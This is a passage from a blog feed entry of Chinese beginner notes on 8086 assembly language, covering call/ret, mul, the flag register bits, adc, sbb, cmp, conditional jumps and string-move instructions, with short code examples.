内存单元地址”时，相当于进行：<br>   push IP<br>   jmp word ptr 内存单元地址<br>3）call dword ptr 内存单元地址<br>4）CPU执行“call dword ptr 内存单元地址”时，相当于进行：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span> CS</span><br><span class="line"><span class="keyword">push</span> IP</span><br><span class="line"><span class="keyword">jmp</span> dword ptr 内存单元地址</span><br></pre></td></tr></table></figure></p><p><strong>·call和ret配合使用</strong></p><p>1）实现子程序（函数）的机制，框架如下：<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">标号：</span><br><span class="line">   指令</span><br><span class="line">   ret</span><br></pre></td></tr></table></figure><br>2）当往子程序（函数）传参时，常用的方法是用栈传递参数；传字符串时，将首地址存放在寄存器中传递给子程序。<br>3）在子程序（函数）中用到相同的寄存器时，一般把子程序中的寄存器中的值在子程序开始时存入栈中，在子程序返回前把值出栈给相应寄存器。</p><p><strong>·mul指令</strong></p><p>1）mul乘法指令，需要注意以下两点：<br>（1）相乘的两个数位必须一样（8位和8位相乘），如果是8位，一个默认在AL存放，另一个存放在8位reg或内存字节单元中；如果是16位，一个默认存在AX中，另一个放在16位reg或内存字单元中。<br>（2）结果：如果是8位乘法，结果默认放在AX中；如果是16位乘法，结果高位默认存放在DX中，低位在AX中存放。<br>2）格式：mul reg；mul 内存单元（内存单元可以用不同的寻址方式给出）。<br>   eg：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax,<span class="number">1000</span></span><br><span class="line"><span class="keyword">mov</span> bx,<span class="number">10000</span></span><br><span class="line"><span class="keyword">mul</span> bx</span><br></pre></td></tr></table></figure></p><hr><h1 id="标志寄存器"><a href="#标志寄存器" class="headerlink" title="标志寄存器"></a>标志寄存器</h1><p><strong>·概述</strong></p><p>1）作用：<br>   用来存储相关指令的某些执行结果；<br>   用来为CPU执行相关指令提供行为依据；<br>   用来控制CPU的相关指令工作方式；<br>2）标志寄存器（flag寄存器）按位起作用：<br><img src="/2018/09/03/Assembly-language/flag%E5%90%84%E4%BD%8D.png" class="" title="flag寄存器各位示意图"><br>3）flag中空位没有使用。</p><p><strong>·ZF标志</strong></p><p>1）ZF，零标志位。它记录相关指令执行后结果是否为零。结果为零，zf=1；反之，zf=0。<br>2）在8086CPU中一般运算指令如add、sub、and等的执行会影响标志寄存器，而传送寄存器如mov、push、pop大都对标志寄存器没有影响。</p><p><strong>·PF标志</strong></p><p>1）PF，奇偶标志位。它记录相关指令执行后结果所有bit位中1的个数是否为偶数。偶数pf=1；反之pf=0。</p><p><strong>·SF标志</strong></p><p>1）SF，符号标志位。它记录相关指令执行后记过是否为负。结果为负，sf=1；反之，sf=0。<br>2）当我们把数据当作有符号数来运算时，可以通过sf判断结果正负；若把数据当作无符号数来运算，sf的值没有意义，虽然相关指令影响了它的值。</p><p><strong>·CF标志</strong></p><p>1）CF，进位标志位。在进行<strong>无符号</strong>数运算时，它记录运算结果的最高有效位向更高位的进位值，或从更高位的借位值。进位或借位cf=1。<br>2）eg：<br><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> al,<span class="number">98</span>H</span><br><span class="line"><span class="keyword">add</span> al,al    <span class="comment">;执行后：(al)=30H,CF=1,CF记录了从最高有效位向更高位的进位值。</span></span><br><span class="line"><span class="keyword">mov</span> al,<span class="number">97</span>H</span><br><span class="line"><span class="keyword">sub</span> al,<span class="number">98</span>H   <span class="comment">;执行后：(al)=FFH,CF=1,CF记录了向更高位的借位值。</span></span><br></pre></td></tr></table></figure></p><p><strong>·OF标志</strong></p><p>1）OF，溢出标志位。记录<strong>有符号</strong>数运算结果是否发生了溢出。如果溢出，of=1；反之，of=0。</p><p><strong>adc指令</strong></p><p>1）adc是带进位加法指令，它利用了CF位上的进位值。<br>2）指令格式：adc 操作对象1，操作对象2<br>3）功能：操作对象1 = 操作对象1 + 操作对象2 + CF<br>   eg:<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adc ax,bx实现：(ax)=(ax)+(bx)+CF</span><br></pre></td></tr></table></figure><br>   相当于：低位相加，高位相加再加上低位相加产生的进位值。<br>4）adc指令执行后也可能产生进位值。</p><p><strong>·sbb指令</strong></p><p>1）sbb是带借位减法指令，它利用了CF位上的进位值。<br>2）指令格式：sbb 操作对象1，操作对象2<br>3）功能：操作对象1 = 操作对象1 - 操作对象2 - CF<br>   eg:<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sbb ax,bx实现：(ax)=(ax)-(bx)-CF</span><br></pre></td></tr></table></figure></p><p><strong>·cmp指令</strong></p><p>1）cmp是比较指令，功能相当于减法指令，但是不保存结果。<br>2）格式：cmp 操作对象1，操作对象2<br>3）cmp指令可以对无符号数间和有符号数间进行比较。<br>4）以cmp ah,bh为例，总结CPU在执行cmp指令后，sf和of的值是如何说明比较结果的：<br>（1）如果sf=1，而of=0；所以(ah)&lt;(bh)。<br>（2）如果sf=1，而of=1；所以(ah)&gt;(bh)。<br>（3）如果sf=0，而of=1；所以(ah)&lt;(bh)。<br>（4）如果sf=0，而of=0；所以(ah)&gt;=(bh)。</p><p><strong>·检测比较结果的条件转移指令</strong></p><p>1）无符号数（检测zf，cf的值）：<br><img src="/2018/09/03/Assembly-language/%E6%97%A0%E7%AC%A6%E5%8F%B7.png" class="" title="常用的根据无符号数的比较结果进行转移的条件指令"><br>2）将cmp和je等指令配合使用，与高级语言中的if语句相似。<br>   eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">cmp ah,bh</span><br><span class="line">je s</span><br><span class="line"><span class="keyword">add</span> ah,bh</span><br><span class="line"><span class="keyword">jmp</span> short ok</span><br><span class="line"><span class="symbol">s:</span><span class="keyword">add</span> ah,ah</span><br><span class="line"><span class="symbol">ok:</span>...</span><br></pre></td></tr></table></figure></p><p><strong>·DF标志和传送指令</strong></p><p>1）DF，方向标志位。在串处理指令中，控制每次操作后si，di的增减。（df=0，每次操作后si、di递增；df=1，每次操作后si、di递减）。<br>2）一个串传送指令格式：<br>   movsb（传送内存单元中的字节到es:di，然后根据标志寄存器df位的值，将si、di递增或递减）<br>   movsw（传送内存单元中的字到es:di，然后根据标志寄存器df位的值，将si、di递增2或递减2）<br>3）配合rep使用（rep，根据cx值重复执行后面的串传送指令。）rep movsb可以循环实现(cx)个字符的传送。<br>4）8086CPU提供两个指令对df位进行修改：<br>   cld指令：将df位置0<br>   std指令：将df位置1</p><p><strong>·pushf和popf</strong></p><p>1）pushf：将标志寄存器的值压栈；popf：从栈中弹出数据，送入标志寄存器中。</p><p><strong>·标志寄存器在Debug</strong>中的表示</p><p>1）<img src="/2018/09/03/Assembly-language/debug.png" class="" title="Debug中标志位的表示"></p>]]></content>
    
    
    <summary type="html">&lt;center&gt;初学汇编语言的笔记，方便日后深入学习。该博客知识来自《汇编语言》王爽&lt;/center&gt;</summary>
    
    
    
    <category term="Language" scheme="http://askylin.top/categories/Language/"/>
    
    
    <category term="assembly language" scheme="http://askylin.top/tags/assembly-language/"/>
    
  </entry>
  
</feed>
